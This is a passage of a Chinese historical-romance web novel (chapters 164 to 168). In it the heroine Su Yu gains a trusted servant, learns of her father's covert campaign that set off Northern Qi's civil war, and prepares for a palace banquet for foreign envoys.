家人把人送出为质时,感情是真的,伤心不舍也是真的。 但人心易变,随着时间的推移,感情淡了,对质子死活也就不在意了。 到那时候,质子就成了弃子。 但就是亲人之间情份淡了,那里依然是家。拼着性命回去,见面三分情,总有人安身立命之处。 而留在异国他乡,没有价值的质子,被任意侮辱欺凌,最后客死他乡。 “我也是运气不好,关太后当权。”慕容宁说着。 关太后有足够的政治头脑,以及强硬的手段,这样的执政者最难糊弄。 反而是显庆皇帝,好糊弄。 这也是她投靠显庆皇帝的原因,因为能让她回家。 而关太后,她越是投靠,做的越多,只会死的更快。 她己经如履薄冰了二十年,不想如履薄冰一辈子,所以她一定要回去。 “不管你信不信,我对你父亲,对你的感情都是真的。”慕容宁说着。 少年夫妻的情真意切,十月怀胎生下的亲生女儿,她怎么可能会没有感情,她又不是冷血的。 只是她朝夕不保的人生,也注定感情只是点缀。不管是对爱人,还是孩子。 但只要她有的,她能做到的,还是会为了他们去做。超出的部分,她没有,也给不起。 苏钰默然听着,好一会才说着,“十几年母女情份,我自然知晓母亲对我的感情,不然今天也不会来找母亲。” 每个人都有每个人的活法,慕容宁从来不把丈夫孩子放在第一位。她的母爱只有这么多,己经全部给了她,她并没有任何怨怼。 只是,她也得清楚,只有那么多的母爱,在现实考量时,就要斟酌许多。 无条件的爱,从来不存在。 慕容宁静静看着苏钰,苏钰也看着慕容宁,竟有种相视无言之感。 有些话不该说开,说开了扯破了,连层遮羞布都没有了。 但又不能不说开,憋在心里只会更纠结。 苏钰深吸口气,压下心底翻涌的情绪。 不管是昨天得知薛迟的身世,还是今天与慕容宁把话说开。就好像一轮接一轮的历练,锤的她心脉尽碎。 终于,慕容宁先开口,“我的人可以给你,但你需要自己的心腹。” 第165章 第 165 章 当天下午,苏钰坐…… 当天下午, 苏钰坐车回国公府。 胡婆子己经收拾好,她几乎没有行李,简单一个包袱,只有几身换洗衣服以及几根簪子。 苏钰额外安排一辆小车给胡婆子坐, 胡婆子摇头推辞。 “妈妈是我母亲的人, 长辈所赐, 自该敬重。”苏钰说着。 胡婆子这才上了车。 回到国公府, 绿川和琉璃带着小丫头们迎了出来。 看到胡婆子时,绿川脸色顿时变了, 琉璃不认识胡婆子,她是认识的。 这可是慕容宁身边第一得用之人,手段之狠辣,想想就打哆嗦。 苏钰顾不上更衣,先把自己院里的丫头婆子叫过来, 吩咐着,“这是胡妈妈,母亲派她来照看我。” 长者所赐, 四个字极有份量的, 尤其是慕容宁安排的人, 一众下人都明白,这位胡婆子以后就是院子里的大管事了。 “琉璃, 你带着妈妈先去后院安置。”苏钰吩咐着。又对绿川说, “今天有些晚了,明早你去二婶那里,说我屋里添了人。” 国公府的下人都要登记在册的,按名册发月钱分衣服份例。房里多了个人,来路再正也得给管事太太说一声。 “是。”琉璃和绿川齐声应着。 苏钰又对胡婆子说着, “妈妈初来乍到,先好好歇歇,明天再来当差。” “是。”胡婆子应着。 绿川带着小丫头们跟着苏钰回房,绿川上前恭敬的对胡婆子说着,“妈妈跟我来吧。” 胡婆子十分客气,“劳烦姑娘了。” 听雨轩面积够大,后院下房还有空着的,琉璃看了一圈,便把自己住的那间让了出来。 她住的这间房不是最好的,但是相比空着的房间好多了。 她虽然现在是大丫头了,也不好让其他人换房间,那就换自己的。 “有个落脚处即可,不必劳动姑娘搬家。”胡婆子说着。 琉璃笑着说,“妈妈是王妃所赐,要是怠慢了姑娘肯定会骂我的。” 正房里,绿川侍侯着苏钰更衣,除了疑惑之外,她心里还有几分害怕。 一直以来她都很惧怕慕容宁,楚王府都不敢去,现在胡婆子来了,她多少是有些害怕的。 “姑娘眼圈都黑了,是没睡好吗。”绿川看苏钰神色,没敢说胡婆子。 “确实累了,我睡一会。”苏钰说着。 昨天晚上一晚上没睡,天亮去与慕容宁说话,说完更睡不了。 慕容宁本想她在楚王府睡一晚再走,苏钰却觉得留下来也睡不着,不如回去。 绿川连忙唤来小丫头,侍侯着苏钰更衣洗脸。 几乎是两天一夜没合眼,苏钰己经顾不上头疼,疲惫让苏钰倒头就睡。 从半下午一直睡到第二天早上,苏钰睁开眼时眩晕感才消失,有种回到现实的感觉。 “姑娘醒了?” 帐幔外传来绿川的声音,苏钰轻轻嗯了一声,问着,“什么时候了?” “天刚亮。”绿川说着。 小丫头打起帐幔,绿川走到床前,看苏钰有些发怔,“姑娘睡了那么久,可有觉得哪里不舒服?” 苏钰摇摇头,“起床吧。” 绿川上前侍侯着苏钰更衣,梳洗吃完饭,胡婆子就来了。 正式上班第一天,先给主子磕头。 “快扶起来。”苏钰说着。 琉璃上前扶起胡婆子,绿川端出托盘,四锭十两的银锭,四身头面衣服。 下人第一天上班,主人给打赏是苏家的规矩,有钱嘛,从来不在钱财上小气。 苏钰从来没管过,连苏略送来的宫里教规矩的嬷嬷,都是绿川做主给的赏赐。 唯独胡婆子,苏钰大手笔亲自送,这是给足了胡婆子待遇。 “以后这屋里的事,还要妈妈多操心了。”苏钰说着。 胡婆子接下托盘,恭敬说着,“奴婢受王妃之命,定当全力以赴。” 苏钰笑着点点头,让琉璃带着胡婆子四处转转,见府里管家以及有头脸的媳妇婆子。 苏钰也没闲着,把时间表排了出来。 一直以来,她的日子过得极为清闲,混吃等死没有目标的二代,想怎么躺尸都可以。 可如今形势骤变,仿若泰山压在心头,她不得不努力奋进。 如今首要之事,是学习宫规以及了解宫廷人事。 每日早饭后,两位嬷嬷教规矩,两个时辰。 苏略送来的人,规矩礼仪肯定一丝不差,各种事务也都门清,是最好的老师。 主子忙碌,丫头们自然也不会太得闲。 每天上课的,除了苏钰这个主子,屋里的丫头也得跟着学,倒不是指望着她们都能学会。 而是身边这两个大丫头不够用,还得再挑两个上来。通过学习,也能看出小丫头的悟性以及心性,方便挑选。 “都要学吗?”绿川有些惊讶。 她们只是国公府的丫头,尤其是小丫头们,很可能一辈子连宫门都没见过。 苏钰点头,也不欲对绿川说什么。 若是以后真要进宫,她是要带着丫头的。 宫廷之中,规矩森严,稍有不慎便可能惹来大祸。 跟着她进去的,除了忠心外,对皇宫规矩必须了如直掌,不如临时抱佛脚。 绿川把苏钰的安排吩咐下去,教学从明天开始,让小丫头们都做好准备。 临近午饭时间,绿川见苏钰心情还好时,终于有机会询问,“姑娘,胡妈妈怎么来了?” 胡婆子是慕容宁身边第一得用之人,突然间给苏钰,总觉得别有用意。 “我问母亲要的。”苏钰说着,并不对绿川解释原由。 至于为什么会要,理由也很简单。 她需要一个联络人,慕容宁是要离京的,就是不离京,未来有些需要私下传递的事情,与其自己指派别人,不如问慕容宁要一个人,这样安全又方便。 慕容宁会把胡婆子给她,出乎她的意料外。 不过,给了,她就收着。 绿川愣了一下,本想再问,但看苏钰脸色,便闭了嘴。 跟在苏钰身边这么多年,她能感觉到,自从苏钰提拔了琉璃后,与她生分了许多。 为什么呢,因为她弄丢过书信吗? 午饭后,苏钰稍微休息了一会,刚从床上起来,就见绿川从外头进来,走到苏钰身边小声说着,“夏老板来了,想见姑娘。” “夏书和??”苏钰微微愣了一下。 绿川点点头,“姑娘要见吗?” 以夏书和的身份,若是走国公府正门,说要找苏钰,连让门房通报的资格都没有。 夏书和给角门的婆子塞了银子,说要来见绿川,婆子给绿川带了话,绿川去角门见的夏书和。 如此绕了一圈,才算跟苏钰搭上话。 “见。”苏钰说着,“请他到前头小花厅。” 前书房见客太正式,听雨轩又是闺房,不方便见男客。 请他到小花厅,倒是合适。 “是。”绿川应着。 琉璃侍侯着苏钰更衣,家常外衣,头发随意理了理,不够正式,却显得悠闲自在。 没让琉璃跟着,苏钰去了小花厅。 夏书和己经在了,却没坐下,正跟绿川说着话。看到苏钰进来,两人连忙打住。 夏书和拱手见礼,“拜见苏姑娘,与姑娘相识多年,终见真容。” 苏钰听得笑了,这么多年了,她好像没在夏书和面前女装过。 “看来我男装很成功啊,竟然瞒过了夏老板。”苏钰笑着说,先行落座,又指指旁边位置,“坐。” 夏书和道了声谢,这才坐下来。 绿川端茶上来,不用苏钰吩咐,自动退到门外。 夏书和温和笑着,声音儒雅,“前几些日子有幸与陈平陈大人相识,得知姑娘与薛公子喜事将近。想着这些年受姑娘照顾,应该亲自来道喜。” 苏钰微微一怔,不禁说着,“这个陈平,倒是真大嘴巴。” 对程喻也是,各种说她与薛迟喜事将近。 要有喇叭,只怕他要循环广播了。 “听书店掌柜说,姑娘曾去书店寻我。”夏书和说着。 苏钰笑着说,“我无事闲逛逛去了,没什么要重紧事。倒是夏老板,听掌柜说你开了酒楼饭庄,要成大老板了。” 夏书和谦逊说着,“为了讨生活做的一点小生意,姑娘过谦了。” “我向来爱凑热闹,下次再有生意开张,记得知会我一声,我也去看看。”苏钰笑着说。 夏书和显得有些意外,又有些惶恐,拱手谢罪,“我想着酒楼那种地方,担心冲撞了姑娘,故不敢打扰。” 以苏钰的身份,邀请她参加酒楼开张,借他一个胆子也不敢,根本就是侮辱人。 没想到苏钰竟然主动提出要参加。 苏钰笑着,不当回事说着,“我连书局都敢开了,哪里会计较这些。” 夏书和连忙说着,“姑娘如此说,下次一定邀请姑娘,万望赏脸。” “听你这个意思,这个下次,很快哟。”苏钰说着。 夏书和笑着,脸上喜色尽显,“下个月初八,城南的酒楼开张,还请姑娘赏脸。” “我准时到场。”苏钰笑着说。 随意说着闲话,主要是苏钰在说,夏书和接话,非常会接,句句说的中听,却又不觉得他在拍马屁。 如此闲扯一会,夏书和看苏钰神色,有几分淡了,便笑着起身道:“打扰姑娘许久,我也该回去了。” 苏钰笑着对绿川说,“代我送送夏老板,通知管事,夏老板是我的贵客,以后再来,要好好接待。” 第166章 第 166 章 绿川送客回来,苏…… 绿川送客回来, 苏钰己回了听雨轩。 “这是夏老板送给姑娘的。”绿川笑着,手里抱着从小花厅里拿回来的礼物。 苏钰在小花厅就看到了盒子,随着绿川的拆开,她也看了过去, 是几本包装精致, 连纸张都是特别定作的话本。 “挺好的。”苏钰说着, “先收起来吧。” 要是换成以前, 她肯定要先看书。 只是现在,她就是能抽出时间, 也没心情。 “姑娘不看看吗?”绿川不禁说着,见苏钰并无意,再不敢多言,赶紧把书收到西梢间。 苏钰吩咐绿川,“你去大哥屋里, 把太安叫来,若是他不在,就把大哥身边得用的小子喊一个过来, 我有事情吩咐。” 太安是苏略的心腹, 时常出门办事, 未必在府里。她的事情并不难办,换个人也可以。 “是。”绿川应着, 赶紧去了。 没一会, 绿川带着太安进屋。 “给姑娘请安。”太安上前见礼。 苏钰挥手让他起来,语气和善,笑着说,“有件小事,我想麻烦你。” “请姑娘吩咐。”太安恭敬说着。 “夏书和。”苏钰只说了一个名字, “他的弟妹是否健在,他的腿是不是没救了。要是有救,何处求医。” 太安微微一怔,马上道:“最迟明天,一定给姑娘准确消息。” “辛苦你了。”苏钰笑着说。 事情交代完,绿川送太安出门去,苏钰轻轻敲击着桌面。 慕容宁说,她需要心腹,自己的心腹。 十九年的人生,她一直都被照顾着。先是父母,后来是苏略,把人生安排的稳稳当当。 这样人生,是不需要心腹的,或者说没必要刻意去培养心腹。 混吃等死的人生,不需要太复杂。 而现在,人生骤变,前途茫茫,需要考量的事情就太多了。 她救夏书和是意外,也从来没想过利用这份救命之恩。 夏书和这辈子己经够苦了,再携恩把他卷入更大的纷争中,余心不忍。 但夏书和主动找上她,在与陈平遇上之后来找她。 她就不能不想,夏书和这是想投奔她。 第二天早上,太安就来了,两个嬷嬷正在教规矩,太安不敢打扰,到午后饭才来汇报。 “夏老板的弟妹十四年前就没了,是病死的。”太安说着。 生母被杀,三个孩子被赶出门时,年龄最大的夏书和还断了腿,根本就没办法生活。 冬天的一场大雪,两个小孩子就没了。夏书和拖着伤残的腿,把弟妹埋在乱葬岗,连个草席都没有。 “真是造孽。”苏钰忍不住说着。 这样的大仇,夏书和把承安伯夫妻直接下油锅都情有可原。 太安继续说着,“夏老板的腿,残了这些年,请过不少名医都没办法。南魏那边也许会有法子。” 医学解决不了病患,习惯性的都会求助南魏的神学。死马当做活马医,医活的多了,求的人也多了。 苏钰想到即将入京的南魏使者团,或许可以一试。 残疾无法入仕途,再有能耐本事,也只能是一介商贾。 太安见苏钰对夏书和之事十分上心,又格外说着:“承安伯病重,怕是没多少时日了。” 承安伯说是被气病的,其实是被下了毒,只是手法十分巧妙,份量也控制的很好。 每天毒发一次,让承安伯生不如死,想死都死不了。 现在承安伯府的爵位就是靠他这一口气吊着,再痛苦也得撑着。 至于什么时候死,就看夏书和的心情了。 “这倒是个好消息。”苏钰听得也笑了。 太安又说了些夏书和的情况,弟妹去世后,夏书和去过外祖家,千辛万苦找到了,却被扫地出门。 外祖父和外祖母早己过世,舅舅舅妈当家,大骂夏书和亲妈不知廉耻,给人当妾,落得这个下场活该。 在承安伯府当妾这些年,拿着家里的钱贴补男人,总是说等承安伯翻身了,肯定缺不了家里的。 结果呢,把娘家都搬空了,把自己的命都贴进去了,毛都没有。 夏书和只得离开,第一次见面的表弟,却悄悄塞给他一块银子。 也因为这块银子,夏书和有钱后,对舅舅一家十分大方,现在一家子都跟着飞升。 “懂得念恩,倒是好事。”苏钰自言自语说着。 听太安讲完,苏钰喝着茶,绿川笑着递一个荷包给太安,里面装着金锞子。 太安连连摆手不敢接,“为姑娘办事是我份内之事,大爷若是知晓,定会打死我的。” 苏钰笑着说,“是我赏的,大哥不会责怪。” 再三推辞,实在推辞不过,太安这才说着,“今日之事,奴才绝不敢隐瞒大爷。” 苏钰听得笑了,“我若是想瞒着大哥,怎么会用你。这些东西,是我觉得你办差辛苦给的,又不是要堵你的嘴。” 太安这才接了过来,向苏钰郑重道了谢,这才离开。 绿川旁边看着,心中却十分好奇,就在几天前苏钰还说过,对夏书和的事并不好奇。没想到竟然让太安去查夏书和的情况。 “姑娘想给夏老板治腿?”绿川忍不住问。 苏钰道:“总是要试一下。” 一连几天苏钰跟着嬷嬷们学规矩,宫里没有任何消息传来,薛迟没有出现,也没有信件。 苏钰并不着急,她也想知道薛迟到底能不能求下来指婚的圣旨。 “姑娘,北齐的使团明天就要进京了。”绿川说着最新消息。 都不需要打听,京城都快传遍了。 若说大周与南魏的恩怨是新仇,那大周与北齐就是旧怨。 两国恩怨要从百年前讲起,百年来征战不休,与南魏,西蜀都有过几十年和平,与北齐就没和平过。 直到苏天翊出世,以状元的身份领兵,大破北齐得来了近二十年太平。 也因为旧怨太深,北齐来求和了,大周人民欢呼雀跃。就等北齐使团进京后,天天围到驿馆门口后,堵门羞辱。 也因为这样,关于北齐使者的消息,总是最快传出来,有时候民间的消息甚至比官方消息都快。 “嗯。”苏钰随口应着,对北齐的消息并不在意,她更在意南魏使团的消息。 一般来说,因为路途遥远,使团都会自带大夫。大夫水平也许不会太高,但跑到南魏求医更不现实,只能试试看。 绿川见苏钰并不在意,想了想说着,“南魏的使团最多五天,也会进京。” 南魏使团进京,去迎接的谢无衣自然也会跟着回京城。 苏钰并不知绿川心中所想,只是想着怎么跟南魏的使团搭上关系。 与南魏的战事刚结束不久,南魏对大周不会有好感,银两收买都未必有效。 再加上罗星的关系,她并不觉得南魏使团会对她很友好。 “南魏的皇太子都来了,是真心求和吧。”绿川说着。 皇太子当和谈使者,总觉得怪怪的。 苏钰想到这位皇太子,也有些好奇,“派个机灵的小子去打听一下,这位南魏太子是个什么样的人物?” 现在京城最火暴的话题就是和谈,南魏太子的消息肯定满大街都是,花点心思和银两,就能得到一大堆小道消息。 绿川不禁说着,“姑娘想知道,何不让太安去打听?” 不但速度快,消息的准确度也很高,外头的小道消息,都是茶馆说书,扯淡居多。 “南魏皇族的权力并不大,听个乐子而己,就不想麻烦他了。”苏钰说着。 不管罗星因何而来,她既然来了京城,她在和谈上的发言权就高于南魏太子。 南魏太子是明面上关键人物,其实权力不多。不是重要人物,关于他的消息,听听就好,就不想麻烦苏略。 “奴婢明白了,我这就打发小子去茶馆守着。”绿川笑着说。 “大爷来了……” 婆子一声通传,小丫头打起帘子,苏略进屋,身后还跟两个劲装女子,都是二十几岁的模样,表情凶狠。 苏钰起身相迎,笑着说,“大哥来了。” 说着,目光落在苏略身后的女子身上, “来看看你。”苏略笑着说,径自坐了下来。 绿川上茶,苏钰先接了过来,亲手奉给苏略。 目光却看向苏略身后的两名女子,这打扮这气场妥妥的江湖侠女。 前不久送来的张三和李四,还在她后院住着,这是又送人来? 苏略接过茶碗,笑着说,“送你两个人。” 说着挥挥手,两名女侠上前,“拜见姑娘。” “以后她们俩就在你屋里侍侯。”苏略着重强调,“晚上守夜。” 苏钰呆了呆,刚想开口询问原由,就听苏略继续说着,“家里的护卫我添加了一倍,日夜都有人守着。最近这些日子你不要出门,实在要出门,就与我同行。” 苏钰彻底呆住,这架式,这是仇家组团来了吗? 想了又想,问,“因为北齐使团进京?” 苏略点点头。 北齐对大周的恨也许有消的一天,但对苏家的恨,尤其是对苏天翊的恨,那是此恨绵绵无绝期。 这回进京的北齐使团,进入城门的瞬间,直接抽出大刀直冲苏家,他都不意外。 至于苏钰,苏天翊唯一的血脉,剥皮抽筋都难解恨。 第167章 第 167 章 十几年前,苏天翊…… 十几年前, 苏天翊大破北齐,一战成名,把个人威望刷到了顶点。 而北齐在这场战场中元气大伤,致使后来十几年难动兵戈, 才有了这些年的太平。 现在北齐使团进京和谈, 内心觉得憋屈, 因此记恨苏家也可以理解。 但苏略这个阵仗, 总觉得有些夸张了。 “要是这么算,也得提防南魏使团。”苏钰忍不住说着。 苏天翊大破北齐是十几年前的事, 苏震岳带着苏天华前不久才大败南魏,新仇往往记得更清楚。 苏略神情欲言又止,却是挥手让屋里的人都下去,这才说着,“倒不是因为十几年前旧事, 而是因为三年前北齐内乱。” “北齐内乱?”苏钰愣了一下。 三年前的北齐内乱,可谓是人尽皆知。 大概就是,二十几岁的皇长子突然造反, 跟亲爹, 五十岁的北齐皇帝打的你死我活。 最后皇长子被赐死, 跟随他的文臣武将全部被杀。北齐皇帝虽然胜了,但继承人没了, 文武大臣缺了一半, 北齐朝廷元气大伤。 “这场内乱是父亲一手主导。”苏略说着,言语间带着得意。 八年前开始布局,历时五年,三年前收网,大获全胜。 苏钰又是一呆, “父亲主导?” 苏略缓缓道来,现在的北齐皇帝不能说是明君,但也不算差,毕竟有显庆皇帝垫底。 论政治才能,跟关太后差不多,却没有关太后的心狠手辣。 北齐皇帝膝下三子,皇长子早己成年,文治武功皆不弱,若是将来登基必是中兴之君。 皇次子是无能之辈,书都读不明白。皇三子年幼,虽然聪明伶俐,年龄太小。 北齐皇帝对皇长子十分器重,男人重长子,又这么优秀的长子。 大臣也上书立皇长子为太子,北齐皇帝却显得有些犹豫。 犹豫的点,不在于对儿子不满意,而是对皇长子的亲妈十分不满。 皇长子的亲妈是贤妃,在潜邸时就是北齐皇帝的侍妾,登基后封妃,然后就在妃位上呆了二十年。 北齐皇帝偏爱贵妃,进宫十年就封贵妃,还是皇三子的生母。 要不是皇长子太优秀,皇三子太小,北齐皇帝都想封贵妃为皇后。 新人封贵妃,贤妃却做了二十年贤妃,贤妃十分不服气,时常与贵妃起冲突。 贵妃时常在北齐皇帝面前哭诉,北齐皇帝心疼爱妃,时常训斥贤妃。 贤妃与贵妃的矛盾日益增加,贵妃每每哭诉时,北齐皇帝忍不住想,皇长子还没成为太子,贤妃就如此嚣张,要是封了皇长子为太子,大臣肯定会上书封贤妃为皇后。 等他百年之后,贵妃母子的下场肯定凄惨。 因为有这重担忧,北齐皇帝一直不封太子,但皇长子本身占了长,能力卓绝,北齐皇帝对他的器重肉眼可见,封不封太子本也没什么。 直到五年前,贤妃与贵妃的冲突中,贤妃盛怒之中动手打了贵妃。 贵妃跑去找北齐皇帝哭诉,北齐皇帝情绪上头了,就要赐死贤妃。 旨意传了出去,北齐皇帝上头的情绪下来,马上命人撤回旨意。 结果传旨的人还是慢了一步,贤妃己死。 北齐皇帝心中无比后悔,他对贤妃的死活不在意,但是母子一体,他杀了皇长子的生母,这个儿子还怎么用。 杀母留子那也要趁孩子小的时候,二十几岁的好大儿,与母亲感情甚笃,这时候杀了他生母,他是要报仇的。 这时候就有心腹大臣向北齐皇帝建议,立皇长子为太子,杀贵妃,追封贤妃为皇后,抢救父子关系。也向皇长子证明,绝无忌惮之意。 贤妃本身并无大错,伴驾三十年,生下皇长子,没有功劳也有苦劳。只是与贵妃起了冲突,就这么被赐死,死的太冤。 而且贵妃与贤妃之间的矛盾,本质上就是北齐皇帝偏心所致。 男人有偏爱很正常,但贤妃是潜邸跟着的老人,又是皇长子生母。不看僧面看佛面,让她屈居于后来者之下,换谁都不服气。 正确做法是,贤妃的位份在贵妃之上,贤妃气平了,自然也就没争执了。 自古以来,因为男人偏心,宠妃骑脸皇后的都有。但因为宠妃杀了太子生母的,古往今来论起来都是奇葩。 但北齐皇帝的贴身太监却悄悄说,人己死,悔之无用,大皇子是断不能留。他就是现在能忍下这口气,杀母之仇,他肯定要报。 与其养虎为患,不如先下手为强。 贵妃更是带着三皇子在北齐皇帝面前哭诉,说什么臣身可死,但请皇上一定要保下三皇子。皇长子登基,三皇子肯定是要死的。 北齐皇帝犹豫起来,他这么一犹豫,皇长子也坐不住了,杀母之仇不提。 他也会想,母子一体,自古以来,母亲被赐死了,成年儿子离死也不远了。 但凡皇帝想要儿子,就不会搞死他亲妈。 父子关系越来越微妙,皇长子终于忍不住造反了。他再不动手,北齐皇帝就要动手了。 父子反目,内乱开始。 赢了的北齐皇帝也无比后悔,一直器重的继承人没了,他己经五十岁,剩下两个儿子,实在选不出来。 他哪怕再宠爱贵妃,也很清楚,国赖长君,奶娃娃继位会有灭顶之灾。 就在北齐皇帝心力憔悴之时,突然间京城消息乱飞,大概就是,北齐的内乱乃是大周挑拨,北齐的贵妃更是大周的暗探。 原本只是以为是,大周借机打嘴炮,但越来越多的证据,证明这就是一场从头到尾的阴谋。 要说内乱对北齐是物理攻击,那眼前这些证据就是精神攻击。 朝廷多次出面澄清,这都是敌国的阴谋,但随着公布出来的证据越来越多,百姓是安抚住了,北齐皇帝崩溃了。 痛失继承人的打击本就大,现在又得知一切都是阴谋算计,连心爱的贵妃都有可能是暗探。 多重打击之下,北齐皇帝口吐鲜血,本来年龄就大了,一病不起。 继承人没了,皇帝眼看着也要没了。现在北齐朝廷乱成一团,文官武将都在思索着,接下来谁登基。 不学无术的二皇子,年幼的三皇子,三皇子的生母还疑似大周暗探。 也因为北齐朝堂乱成一团,这回的和谈才答应的爽快。若是这时候再开战,国将不国。 这种情况下,北齐的使团对苏天翊的恨是到极致的,甚至到没有理智的地步。 苏天翊是找不到的,但他的女儿就在眼前,得防着发疯。 听苏略讲完,苏钰早就听呆了,下意识问着,“贵妃真的是暗探吗?” 苏略听得笑了,“当然不是。” 一国贵妃,还是得宠的贵妃,若都是暗探,北齐的皇宫早就被渗透成筛子了。 但是一波又一波的冲击,北齐皇帝崩溃的精神,早就没办法辩别真假。 “杀人要诛心,动手了就不要给对方机会。”苏略说着。 诛心,是打垮敌人的最后一根稻草。 这一招使的好,比刀枪都来的厉害。 苏钰听着,神情却是茫然的,在她的印象里,苏天翊性情温和,却总是能拿第一。 参加科举是状元,以国公爷的身份出征,明明是文臣却能领兵打仗,做到出将入相。 直到现在…… 他依然是第一。 “你要小心慕容弦。”苏略说着。 苏钰下意识问,“也有恩怨吗?” 回想慕容弦对她的态度,以及对大周人的态度,他这个降臣是心不甘情不愿。 苏略冷笑,就慕容弦做的那事,怎么对慕容氏都是应该的。 慕容弦倒不是个草包,二十年来兢兢业业,一直想着慕容氏能脱离大周。 乱臣贼子,还有这等野心,做为大周的臣子,当然要收拾他。 慕容氏是游牧民族,相信血统论,不管人文还是地理方面都差异巨大。 苏天翊对慕容氏的想法,致力于融合同化,这与慕容弦想加强权力,对抗朝廷的想法完全相悖。 这些年,每每慕容弦做出了点什么,很快就会失败。 慕容弦当然恨,恨的深,但也只能恨。 苏钰想了想,决定一口气问完,“那南魏呢?” 苏略皱了一下眉,“南魏情况不同,天天搞些神神鬼鬼的,个人崇拜严重。” 北齐与大周很相似,不管是文化还是朝堂,布局的时候,就相对容易。 而南魏则属于另一个时空,还处于神明时代,国师就是神,想搞事反而不容易。 大周的暗探死在南魏的最多,搞皇族搞大臣都容易,但搞神就很难。 只是为了在苏辰身边安插暗探,折损率竟然能达到百不存一的地步。 “我从来不知道,父亲这些年,过的如此危险。”苏钰不禁说着。 苏略笑着,神情却显得很沧桑,伸手摸摸苏钰的头,“所以,你要平安,父亲才能安心。” 出生入死这些年,平安最重要。命都没了,什么富贵都没有意义。 苏钰想到慕容宁说的,苏天翊己经在京城,她本来还在想,苏天翊为什么不来见她。 听苏略说完这些,确实是没法见面。 次日,北齐使团进京。 五日后,南魏使团进京。 第168章 第 168 章 使者团的到来,让…… 使者团的到来, 让京城气氛达到了顶点。 多年的冤家对头,主动上门来求和,京城的老百姓别提多高兴了。各家各户张灯结彩,还时不时的往驿馆门口溜达。 “南魏太子今年二十五岁, 名唤夜烬阳, 因为是嫡长子, 出生即被封为太子。但南魏皇帝偏宠妖妃, 夜烬阳就是个受气包。”绿川说着打听来的消息。 “这回的和谈,本来也不该太子来的, 但妖妃向南魏皇帝尽谗言,他就被派来了。” 分不清真假的八卦,在街头茶馆传播着。 绿川捡着重点说,外头传的更劲暴,尤其是关于南魏妖妃的传说, 狐狸精下山,专吸男人精气。 琉璃也凑在旁边听着,不禁笑着打趣, “南魏国师那么厉害, 怎么不收了这狐狸精。” 绿川道:“说是国师是神, 要修行自身,对这种小事才不会在意。” 茶馆说书的内容, 就当乐子听听, 谁还管真假。 苏钰却想到南魏的政治制度,这几天的恶补,她现在对周边各国的情况己经了如直掌。 南魏是神权国家,国师拥有最高的权力,但做为神明的国师不参与日常国事处理。 但要说国师只是吉祥物也不对, 因为国师有更换皇帝的权力。 国师的日常是修行,或者说是修仙。 至怎么修,没人晓的,属于天机。国师说的每一句不是圣旨,是神旨。 这样的国师怎么会管皇帝后宫的事,但有这样的国师在,皇帝想在大事上作妖也挺难。 罗星被这样的国师养大,多嚣张都有可能。 “现在街上热闹的很,姑娘不出去看看吗?”琉璃语气中带着期待。 丫头是不能私自出门的,想出门看丫头,就得指望主子带着一起出门。 “我就不了。”苏钰笑着说,“你们谁想出门就跟胡妈妈说一声,别影响当差就行。” 难得的大热闹,她也很想出门,但想到苏略的叮嘱,她就觉得还是别给苏略添麻烦了。 就在苏钰觉得有些遗憾时,当天下午,宫里传出旨意,不是关太后也不是关贵妃,而是显庆皇帝传旨,明天宫宴,要苏钰出席。 苏钰接了圣旨,意外也不意外。 慕容氏,南魏,北齐的使团都到齐了。 人刚进京,做为天朝上国自然要先接风洗尘,展现一下天朝的富饶繁华,从气势上压倒敌人,再提和谈。 这回的宫宴,就是为了给使团们接风,摆在畅春园。 为了这次的宴席,礼部准备了许久,宴席名单改了又改,最后上报给显庆皇帝和关太后,早在半个月前就定了下来。 苏震岳,谷夫人,苏天佑皆中名单中。 苏天华和叶氏本来也在的,却被苏略想办法划掉了。 倒不是因为罗星,而是苏天华与苏天翊生的一模一样。 这样一张脸出现在宴会上,能瞬间把仇恨值拉满,肯定会引起不必要的麻烦。 各国使团在京城大概呆一个月左右,没必要开场就搞得那么刺激。 “去告诉大哥,我明天要去赴宴。”苏钰对绿川说着。 绿川应着,赶紧去了。 苏略不在家里,绿川把事情告知太安。 苏钰并不担心,正想着去找谷夫人,就有婆子来报,“薛大人来了。” 苏钰有些意外,“请他进来。” 绿川侍侯着苏钰穿好外衣,婆子引着薛迟进来。 数日未见,只见薛迟还穿着官服,与往常的精神抖擞相比,脸上的疲惫几乎压不住,眼圈都是黑的。 苏钰起身相迎,笑着脸变成了关切,“脸色怎么那么难看,哪里不舒服吗?” “最近有些忙,没睡好而己。”薛迟说着。 使团进京后,所有的事情都压在他身上。被关禁闭的大皇子并不老实,关太后也舍不得他成了废子,各种事非不断。 从前天起,一直到现在,他中间不过睡了一个时辰。 但显庆皇帝传旨让苏钰参加明天的宫宴,他担心不己,还是决定亲自过来。 苏钰见他疲惫的模样,心情越发复杂,指婚的圣婚还没下来,她并不想见薛迟。 但薛迟己经累成这样,还亲自过来,又让她有些感动,“若是为入宫赴宴之事,你打发陈平过来即可。” 薛迟上前拉住苏钰的手,笑着说,“我想见你。” 最近太忙,他好久没见苏钰。 苏钰高兴笑着,反手握住薛迟,拉着他到碧纱橱的罗汉床上坐下来。 “入宫赴宴之事,你不用担心,大哥会为我筹谋,还有祖父,祖母,叔父都会与我同行。”苏钰说着。 这趟宫宴,苏家四人同行,她并不担心。 “我知道。”薛迟笑着,“还有一件喜事,我想亲口告诉你。” 苏钰微微一怔,就听薛迟笑着说,“皇上己经答应,等使团走了后,亲自为我们主婚。” “真的?”苏钰脱口而出,眉眼间的欢喜溢于言表。 “当然是真的。” “让厨房准备饭。”苏钰吩咐着,薛迟睡觉都没时间,多半也没时间吃饭,“先泡杯参茶端来。” “是。”琉璃应着。 薛迟本想说不用,但看到苏钰眼底的关切,笑着说,“叨扰你了。” “说什么呢,还跟我客气。”苏钰说着。 参汤先端上来,饭菜也紧跟着来了。 绿川和琉璃摆桌,苏钰并不饿,却跟着一起坐下来,给薛迟布菜。 “这个是我家厨子的拿手菜。”苏钰一边给薛迟布菜,一边说着,“我吃过你送来的那么多东西,也尝尝我家厨子的手艺。” 与薛迟交往之初,薛迟没少给她送吃的。 她送薛迟的东西也很多,唯独没送过吃的,这回算是补上了。 薛迟从小到大对吃食都没多大感觉,填饱肚子满足生理需要,安全第一,味道无所谓。 但看着眼前苏钰给他布菜,他竟然觉得食物美味起来,“很好吃。” “那就多吃点。”苏钰笑着说。 难得舒心又开心的一顿饭,薛迟放下筷子时,嘴角都是含笑的。 丫头们侍侯着漱口,洗了手,苏钰起身拉着薛迟到里间坐下来。 琉璃端茶上来,茶碗刚放下,苏钰就笑着说,“你们都出去。” 